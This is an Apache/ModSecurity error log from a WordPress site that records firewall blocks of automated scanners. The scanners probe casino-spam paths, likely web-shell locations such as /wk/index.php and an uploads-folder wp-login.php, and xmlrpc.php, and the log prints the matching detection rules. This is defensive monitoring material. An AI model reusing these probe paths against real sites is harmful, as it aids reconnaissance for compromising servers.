[Thu Mar 19 17:16:27.725526 2026] [:error] [pid 1247:tid 1251] [client 54.37.252.130:57116] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "abu-6w5tmeOr-yI4XNF9lAAAAcI"]
[Thu Mar 19 17:16:30.088175 2026] [:error] [pid 1247:tid 1256] [client 54.37.252.130:57130] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "abu-7g5tmeOr-yI4XNF9mAAAAcc"]
[Thu Mar 19 17:16:32.622134 2026] [:error] [pid 1247:tid 1263] [client 54.37.252.130:57146] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "abu-8A5tmeOr-yI4XNF9mwAAAc4"]
[Thu Mar 19 17:16:35.129367 2026] [:error] [pid 11015:tid 11063] [client 54.37.252.130:57160] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "abu-8_PcMwFQZAVfzLQ9fAAAAJE"]
[Thu Mar 19 17:16:37.684592 2026] [:error] [pid 11015:tid 11062] [client 54.37.252.130:46736] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "abu-9fPcMwFQZAVfzLQ9gQAAAJA"]
[Thu Mar 19 17:16:40.202595 2026] [:error] [pid 1285:tid 1311] [client 54.37.252.130:46742] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abu--FE95r3zR75X1HrN8QAAAhg"]
[Thu Mar 19 17:16:42.582776 2026] [:error] [pid 1285:tid 1295] [client 54.37.252.130:46756] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abu--lE95r3zR75X1HrN_QAAAgg"]
[Thu Mar 19 17:16:45.100896 2026] [:error] [pid 11110:tid 11128] [client 54.37.252.130:46760] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "abu-_QSNPqGfikw7k8KIMwAAAA0"]
[Thu Mar 19 17:16:47.638586 2026] [:error] [pid 1285:tid 1298] [client 54.37.252.130:46766] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "abu-_1E95r3zR75X1HrOBgAAAgs"]
[Thu Mar 19 17:16:50.045641 2026] [:error] [pid 51091:tid 51115] [client 54.37.252.130:47398] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "abu_Ar7LZKhdJPD9CBuujAAAAUQ"]
[Thu Mar 19 17:16:52.566881 2026] [:error] [pid 1285:tid 1287] [client 54.37.252.130:47404] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "abu_BFE95r3zR75X1HrOGAAAAgA"]
[Thu Mar 19 17:16:55.122946 2026] [:error] [pid 51091:tid 51125] [client 54.37.252.130:47414] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "abu_B77LZKhdJPD9CBuujgAAAU4"]
[Thu Mar 19 18:31:56.860327 2026] [:error] [pid 1397:tid 1417] [client 74.7.227.13:42552] [client 74.7.227.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.227.13, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "abvQnHptc6vBjy-kgOMF0wAAAtI"], referer: https://vetstars.com.au/
[Thu Mar 19 20:36:08.963561 2026] [:error] [pid 1247:tid 1265] [client 43.155.129.131:41974] [client 43.155.129.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abvtuA5tmeOr-yI4XNHRDAAAAdA"]
[Thu Mar 19 23:11:18.766659 2026] [:error] [pid 1441:tid 1448] [client 49.51.39.209:48622] [client 49.51.39.209] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abwSFof6BGzjfVNuehUmQQAAAwU"]
[Fri Mar 20 01:14:29.537565 2026] [:error] [pid 46126:tid 46222] [client 209.97.171.56:59375] [client 209.97.171.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abwu9aQ44YePbsZz3j7MMgAAAQY"]
[Fri Mar 20 01:14:29.726380 2026] [:error] [pid 46124:tid 46199] [client 209.97.171.56:51679] [client 209.97.171.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abwu9UzMrlLOY6zyCjJ2RgAAAFM"]
[Fri Mar 20 01:14:30.005986 2026] [:error] [pid 46264:tid 46291] [client 209.97.171.56:53069] [client 209.97.171.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "abwu9op3TruHFmWOt5HWdgAAAAg"]
[Fri Mar 20 02:35:18.474732 2026] [:error] [pid 46126:tid 46211] [client 169.224.25.154:56847] [client 169.224.25.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 169.224.25.154, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "abxB5qQ44YePbsZz3j7ikQAAAQA"]
[Fri Mar 20 02:35:40.742346 2026] [:error] [pid 46264:tid 46293] [client 49.7.227.204:53742] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abxB_Ip3TruHFmWOt5EMawAAAAo"]
[Fri Mar 20 02:38:58.243858 2026] [:error] [pid 46126:tid 46240] [client 4.205.31.173:23360] [client 4.205.31.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.205.31.173, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "abxCwqQ44YePbsZz3j7jfAAAAQ8"]
[Fri Mar 20 02:39:06.725229 2026] [autoindex:error] [pid 46126:tid 46212] [client 4.205.31.173:23360] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Mar 20 02:39:06.935885 2026] [autoindex:error] [pid 46126:tid 46242] [client 4.205.31.173:23360] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Mar 20 02:39:09.199997 2026] [autoindex:error] [pid 46126:tid 46216] [client 4.205.31.173:23360] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Mar 20 02:39:13.587286 2026] [:error] [pid 46126:tid 46211] [client 4.205.31.173:23360] [client 4.205.31.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "abxC0aQ44YePbsZz3j7jlQAAAQA"]
[Fri Mar 20 02:39:19.117536 2026] [:error] [pid 46264:tid 46287] [client 4.205.31.173:23264] [client 4.205.31.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "abxC14p3TruHFmWOt5EOugAAAAQ"]
[Fri Mar 20 02:39:20.739511 2026] [:error] [pid 46124:tid 46200] [client 4.205.31.173:23283] [client 4.205.31.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "abxC2EzMrlLOY6zyCjKW5QAAAFQ"]
[Fri Mar 20 07:25:24.235996 2026] [:error] [pid 55301:tid 55390] [client 51.77.216.62:51380] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "abyF5MKP1x4sgmjd3xRxGQAAApE"]
[Fri Mar 20 07:25:26.566542 2026] [:error] [pid 55206:tid 55216] [client 51.77.216.62:55436] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "abyF5nUc_Wl5viVmsDwpwgAAAUg"]
[Fri Mar 20 07:25:28.959998 2026] [:error] [pid 55451:tid 55475] [client 51.77.216.62:55444] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "abyF6E0xWQZtU7cXlgTk8wAAA1Q"]
[Fri Mar 20 07:25:31.398026 2026] [:error] [pid 55239:tid 55288] [client 51.77.216.62:55454] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abyF66ycM6mGWSmcyoL36wAAAc8"]
[Fri Mar 20 07:25:33.780008 2026] [:error] [pid 55299:tid 55329] [client 51.77.216.62:53146] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "abyF7foGhbNgkNIkZwmExgAAAhg"]
[Fri Mar 20 07:25:36.194550 2026] [:error] [pid 43163:tid 43181] [client 51.77.216.62:53148] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abyF8J_n4JP_ko9XUswZCwAAAQ4"]
[Fri Mar 20 07:25:38.740581 2026] [:error] [pid 55301:tid 55381] [client 51.77.216.62:53160] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abyF8sKP1x4sgmjd3xRxNwAAAo0"]
[Fri Mar 20 07:25:41.220860 2026] [:error] [pid 55206:tid 55232] [client 51.77.216.62:53172] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "abyF9XUc_Wl5viVmsDwpzQAAAVg"]
[Fri Mar 20 07:25:43.723729 2026] [:error] [pid 43163:tid 43168] [client 51.77.216.62:35722] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abyF95_n4JP_ko9XUswZHQAAAQE"]
[Fri Mar 20 07:25:46.229957 2026] [:error] [pid 43163:tid 43170] [client 51.77.216.62:35724] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "abyF-p_n4JP_ko9XUswZIgAAAQM"]
[Fri Mar 20 07:25:48.725315 2026] [:error] [pid 55451:tid 55465] [client 51.77.216.62:35734] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abyF_E0xWQZtU7cXlgTk_gAAA0o"]
[Fri Mar 20 07:25:51.218127 2026] [:error] [pid 55206:tid 55222] [client 51.77.216.62:35750] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abyF_3Uc_Wl5viVmsDwp4gAAAU4"]
[Fri Mar 20 07:25:53.717875 2026] [:error] [pid 55299:tid 55309] [client 51.77.216.62:49294] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abyGAfoGhbNgkNIkZwmE2wAAAgQ"]
[Fri Mar 20 07:25:56.209592 2026] [:error] [pid 55419:tid 55435] [client 51.77.216.62:49308] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abyGBGZBdOmqhJCTdb7bmQAAAw4"]
[Fri Mar 20 07:25:58.590353 2026] [:error] [pid 43163:tid 43167] [client 51.77.216.62:49324] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abyGBp_n4JP_ko9XUswZNAAAAQA"]
[Fri Mar 20 07:26:01.087959 2026] [:error] [pid 58126:tid 58173] [client 51.77.216.62:49340] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abyGCaKAmdXQSS0Y5KBrqQAAAEE"]
[Fri Mar 20 07:26:03.605192 2026] [:error] [pid 55239:tid 55293] [client 51.77.216.62:55212] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "abyGC6ycM6mGWSmcyoL4DwAAAdQ"]
[Fri Mar 20 07:26:05.979856 2026] [:error] [pid 55299:tid 55319] [client 51.77.216.62:55216] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "abyGDfoGhbNgkNIkZwmFEQAAAg4"]
[Fri Mar 20 07:26:08.495054 2026] [:error] [pid 55452:tid 55507] [client 51.77.216.62:55218] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "abyGEIlFvOIliSP0R2BOvQAAA5g"]
[Fri Mar 20 07:26:11.039809 2026] [:error] [pid 43163:tid 43188] [client 51.77.216.62:55230] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "abyGE5_n4JP_ko9XUswZPAAAARU"]
[Fri Mar 20 07:26:13.527077 2026] [:error] [pid 55301:tid 55363] [client 51.77.216.62:35824] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "abyGFcKP1x4sgmjd3xRx5wAAAoE"]
[Fri Mar 20 07:26:16.063453 2026] [:error] [pid 55452:tid 55501] [client 51.77.216.62:35828] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "abyGGIlFvOIliSP0R2BOwAAAA5I"]
[Fri Mar 20 07:26:18.595537 2026] [:error] [pid 55301:tid 55373] [client 51.77.216.62:35842] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "abyGGsKP1x4sgmjd3xRx-wAAAok"]
[Fri Mar 20 07:27:03.572251 2026] [:error] [pid 43163:tid 43186] [client 51.77.216.62:35846] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "abyGR5_n4JP_ko9XUswZhgAAARM"]
[Fri Mar 20 07:27:06.025836 2026] [:error] [pid 58126:tid 58173] [client 51.77.216.62:39412] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "abyGSqKAmdXQSS0Y5KBr0AAAAEE"]
[Fri Mar 20 07:27:08.545736 2026] [:error] [pid 55299:tid 55320] [client 51.77.216.62:39420] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "abyGTPoGhbNgkNIkZwmFjgAAAg8"]
[Fri Mar 20 07:27:11.059399 2026] [:error] [pid 55299:tid 55314] [client 51.77.216.62:39422] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "abyGT_oGhbNgkNIkZwmFmQAAAgk"]
